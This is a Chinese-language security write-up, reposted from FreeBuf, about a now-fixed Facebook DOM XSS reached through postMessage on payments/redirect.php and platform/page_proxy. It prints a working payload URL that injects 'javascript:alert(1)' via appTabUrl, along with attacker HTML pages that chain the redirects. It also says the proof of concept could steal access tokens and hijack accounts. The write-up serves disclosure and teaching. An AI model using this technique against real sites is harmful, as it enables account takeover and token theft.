挖洞经验 | 由postMessage引发并可导致Facebook账户劫持的DOM XSS

  • A+
所属分类:未分类

利用第一个漏洞可以通过postMessage方式从facebook.com网站中发送跨域(cross-origin)消息,存在漏洞的路径会接收攻击者在请求参数中构造的控制内容,同时会以postMessage请求中提供的数据创建一个对象从而打开窗口。第二个漏洞与第一个漏洞相关,其影响为可以构造不安全的脚本形成XSS,或者基于接收数据通过Eventlistener方式提交表单。

漏洞:通过postMessage方式从facebook.com网站中发送跨域(cross-origin)消息

存在漏洞的路径为https://www.facebook.com/payments/redirect.php,攻击者可以通过更改请求参数的形式,控制Facebook服务端对该请求的响应。其中一个有意思的参数为'type',如果把其参数值从正常的'i'更改为'rp'后,就能用postMessage方法与打开窗口通信(正常的i参数调用方法为window.parent.PaymentsFlows.processIFrame)

图中的目标域为our.intern.facebook.com,该域名一般都为Facebook内部使用,因此从其信息来看,里面的postMessage方法貌似仅是提供给Facebook内部员工请求使用的,而且它会跳转到www.facebook.com。

之后,我尝试用域名our.alpha.facebook.com来测试该功能,看其是否可以绕过其本来的域名设置。比如用链接https://our.alpha.facebook.com/payments/redirect.php进行设置后,在postMessage方法中其targetOrigin即为our.alpha.facebook.com。要知道,our.alpha.facebook.com和www.facebook.com为具备同一内容的网站域名,因此,our.alpha可以跳转到www.facebook.com。

如果这种targetOrigin设置满足Facebook后台要求,那么这种方法可让窗口消息在不同域之间进行传递,也即可以把消息发送到我们设置的域名our.alpha.facebook.com中。

基于此,我觉得在一些内置消息监听器(message EventListeners)且能接收facebook.com子域消息的网页页面,该漏洞就可派上用场,只有在这类接收facebook.com子域消息的页面中,该漏洞才可造成严重影响。之后,我发现了很多这种页面,但是只有其中一个页面可以形成DOM XSS。

XSS漏洞

apps.facebook.com应用商店中提供了各种APP下载,包括Facebook交互式全屏广告Canvas APP,如果你在其中访问某个APP应用,Facebook会在iframe页面中加载一个URL链接,然后会产生一个发送至该URL链接的POST请求消息,其中会附带样式为'signed_request'的参数。

在我测试该POST请求的发生源时,我发现该过程的iframe页面中还会加载页面‘https://www.facebook.com/platform/page_proxy/?version=X’,然后触发一个postMessage方式的消息发送(此前另一个安全研究者也曾在该页面中发现了另一个厉害的漏洞),在此行为中的page_proxy页面代码片段为:

该代码片段主要完成两件事情,第一,它会通过postMessage用frameName方法向任意域发送一条消息;第二,它会设置一个事件监听器EventListener静待消息。如果有消息进来且满足所有条件,它会基于消息中包含的数据设置相应属性,并随之提交一个表单。有意思的是其表单构造方法为submitForm,其会把表单中的action属性直接设置为消息中收到的“a.data.params.appTabUrl”。如果其'appTabUrl'的URL链接以http/https开头,则后台不会对该URL进行安全验证,因此,我们可以在此引入JS等其它形式触发XSS!于是,我最终构造了一个满足page_proxy页面要求,且会创建一个对象的Payload:

https://our.alpha.facebook.com/payments/redirect.php?type=rp&name=_self&params[appTabUrl]=javascript:alert(1);&params[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1OBJ: {“type”:”rp”,”name”:”_self”,”params”:{“appTabUrl”:”javascript:alert(1);”,”signedRequest”:”SIGNED_X”},”platformAppControllerGetFrameParamsResponse”:”1″}

漏洞利用

攻击者如果在自己控制的网站中部署进入以下代码,受害者一旦访问了该页面后,即会打开另一个页面,它就是我们创建的来源窗口(window.opener)。

<html>
<button class="button" onClick="window.open('https://attacker/page2.html', '_blank');document.location.href = 'https://our.alpha.facebook.com/platform/page_proxy/?version=X#_self';">
<span class="icon">Start Attack</span>
</button>
</html>

在此,我们无法直接跳转到page_proxy路径,还需设置一个以下timeout方法,确保它会加载到https://www.facebook.com/platform/page_proxy/。

page2.html:

<html>
<script>
setTimeout(function(){ window.location.href = 'https://our.alpha.facebook.com/payments/redirect.php?type=rp&merchant_group=86&name=_self&params[appTabUrl]=javascript:alert(1);&params[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1';} ,3000);
</script>
</html>

这样一来,在timeout方法后到即可跳转到存在漏洞的路径,然后去执行我们构造的alert(1),之后,我制作的POC可以窃取受害者的access_token,最终可实现劫持受害者Facebook账户

漏洞修复

Facebook通过删除相关跳转路径(/payments/redirect.php)中的postMessage方法来修复了该漏洞,另外增加了appTabUrl中的https协议URL白名单安全验证。

漏洞报送和处理进程

2020.10.10   漏洞报送
2020.10.10   漏洞接收
2020.10.10   Facebook奖励了$25K
2020.10.28   Facebook修复漏洞

参考来源:

ysamm

本文作者:clouds, 转载请注明来自FreeBuf.COM

# postMessage # Facebook账户劫持

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: